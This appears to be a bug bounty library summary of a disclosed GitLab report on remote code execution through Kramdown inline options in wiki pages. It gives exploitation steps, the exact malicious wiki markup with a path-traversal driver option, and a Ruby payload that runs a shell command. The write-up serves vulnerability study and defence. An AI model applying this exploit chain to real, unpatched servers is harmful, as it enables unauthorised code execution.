# RCE via unsafe inline Kramdown options when rendering certain Wiki pages

Kramdown inline options in GitLab wiki .rmd rendering let attackers instantiate arbitrary Ruby classes, abusing Redis driver path traversal to require an uploaded .rb file and achieve RCE.

- Payout: $20,000
- Severity: critical
- Program: GitLab
- Found by: vakzz
- Disclosed: 2021-04-20
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/1125425
- Library page: https://bugbountylibrary.com/r/h1%3A1125425
- Tags: area:web domain:web impact:rce kind:bounty platform:hackerone sev:critical tech:ruby technique:chained technique:source-review vuln:file-upload vuln:path-traversal vuln:rce

**Target:** GitLab wiki rendering (markup_helper other_markup_unsafe / github-markup / kramdown rouge syntax highlighter)
**Root cause:** Kramdown inline options are not restricted, so syntax_highlighter_opts formatter is passed to Rouge::Formatters.const_get and instantiated with attacker-controlled opts; Redis driver option then require_relative's an arbitrary path.
**Steps:**
1. Upload a .rb payload via snippet description attachment; note path `/uploads/-/system/user/1/<hash>/payload.rb`
2. Clone the project wiki repo via git
3. Add `page1.rmd` containing `{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/<hash>/payload.rb\}" /}` plus a `~~ ruby` fenced block
4. git add/commit/push the wiki
5. Visit the wiki page to trigger rendering
6. Payload executes; verify via `/tmp/vakzz` marker file
**How found:** Noticed render_wiki_content routes .rmd to other_markup_unsafe -> GitHub::Markup.render -> Kramdown::Document.new; read kramdown docs on inline options and traced syntax_highlighter_opts formatter into Rouge::Formatters.const_get, then searched loaded classes for one (Redis) whose options trigger file loading.
**Exploitation:** Attacker with wiki push access uploads a Ruby file to a known uploads path, then commits a .rmd wiki page whose kramdown inline options set formatter=Redis and driver to a traversal path to that file. Rendering instantiates Redis with the driver, causing require_relative to evaluate the uploaded Ruby, executing arbitrary code as the git user.
**Escalation:** Chained arbitrary class instantiation (Rouge formatter) with Redis driver path traversal to convert a class-instantiation primitive into full RCE.
**Insight:** When a renderer exposes inline options that reach const_get/constantize, enumerate loaded gem classes for constructors that perform require/load or file IO on their options (e.g. Redis driver) to turn a class-instantiation gadget into RCE.

## Proof of concept (copied exactly from the original report)

**Malicious .rmd wiki page with inline Kramdown options**

```
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/c4119c5b144037f708ead7295cea4dd0/payload.rb\}" /}
~~ ruby
def what?
  42
end
~~
```

**Ruby payload uploaded via snippet attachment**

```
puts "hello from ruby"
`echo vakzz was here > /tmp/vakzz`
```

**Inline options PoC creating CSV formatter**

```
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~ ruby
    def what?
      42
    end
~~
```

